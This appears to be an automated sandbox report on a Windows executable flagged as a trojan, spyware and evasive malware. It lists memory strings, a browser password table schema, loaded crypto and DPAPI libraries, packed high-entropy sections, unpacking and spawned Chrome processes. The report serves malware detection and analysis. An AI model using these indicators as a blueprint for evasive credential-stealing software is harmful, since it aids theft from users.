Source: file.exe, 00000000.00000003.2360445257.0000000005B82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344000285.00000000055A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349144191.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2356649775.0000000005CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348044211.0000000005C69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348712488.0000000005B83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348999746.0000000005B82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341038120.0000000005892000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345163660.00000000055A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2355335446.0000000005B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349298343.0000000005D5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357055627.0000000005B8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343444201.0000000005B8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347091201.0000000005B90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353141719.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350397937.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2358928883.0000000005B82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2361613374.0000000005B8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348410726.0000000005B86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351892107.0000000005C9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347859871.0000000005B86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348558067.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338618331.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352832716.0000000005DC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2359372395.0000000005CC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353769042.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348842678.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2360806128.0000000005E16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2358080590.0000000005B83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345559635.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2354401079.0000000005B88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352213447.0000000005CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342786669.00000000055A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348233127.0000000005D4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344449035.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350539618.0000000005B86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2361219308.0000000005CE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343771452.00000000055AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343542567.00000000055AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349826480.0000000005B88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372023612.0000000005785000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343053419.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351741422.0000000005B8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349655624.0000000005C80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350686523.0000000005C83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352367079.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343182110.0000000005B8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350261995.0000000005C76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343884884.0000000005B90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353301812.0000000005B85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345328257.0000000005B82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352052176.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351579053.0000000005C97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350123492.0000000005B83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346608175.0000000005B90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346949561.0000000005D2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342559843.00000000055AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342103247.00000000055AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346790688.0000000005C5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347418219.0000000005B8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346232525.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2354080824.0000000005B8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345850145.00000000055A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349981170.0000000005C76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353918087.0000000005DDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342916862.0000000005B86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344556176.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351420087.0000000005B8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345685229.0000000005B88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342453432.0000000005B83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346010204.0000000005B83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338618331.0000000005785000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351120572.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2482875883.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2356334004.0000000005B8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352520382.0000000005B88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351267507.0000000005DA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2360620352.0000000005CC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2355013193.0000000005CB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2359871537.0000000005E08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343306932.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347684095.0000000005C71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2354242682.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344261140.00000000055A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342346417.00000000055A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2481309911.0000000005B82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345013157.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2355682191.0000000005CB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347240615.0000000005C69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9974409550330033
Source: file.exe	Static PE information: Section: tnkncgci ZLIB complexity 0.9944953143667862

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/70@9/8

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2226324687.0000000005778000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238305783.0000000005818000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 34%
Source: file.exe	Virustotal: Detection: 38%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1836,i,7822006683133488739,5750261505486873411,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2036,i,12764946294742633135,14332685137826190818,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1836,i,7822006683133488739,5750261505486873411,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2036,i,12764946294742633135,14332685137826190818,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1884672 > 1048576

Source: file.exe

Static PE information: Raw size of tnkncgci is bigger than: 0x100000 < 0x1a2800

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.3a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;tnkncgci:EW;cnokmuhz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;tnkncgci:EW;cnokmuhz:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d0bf6 should be: 0x1d978f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: tnkncgci
Source: file.exe	Static PE information: section name: cnokmuhz
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010383AE pushad ; ret	0_3_010383B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010383AE pushad ; ret	0_3_010383B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010383AE pushad ; ret	0_3_010383B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010383AE pushad ; ret	0_3_010383B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010383AE pushad ; ret	0_3_010383B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010383AE pushad ; ret	0_3_010383B1
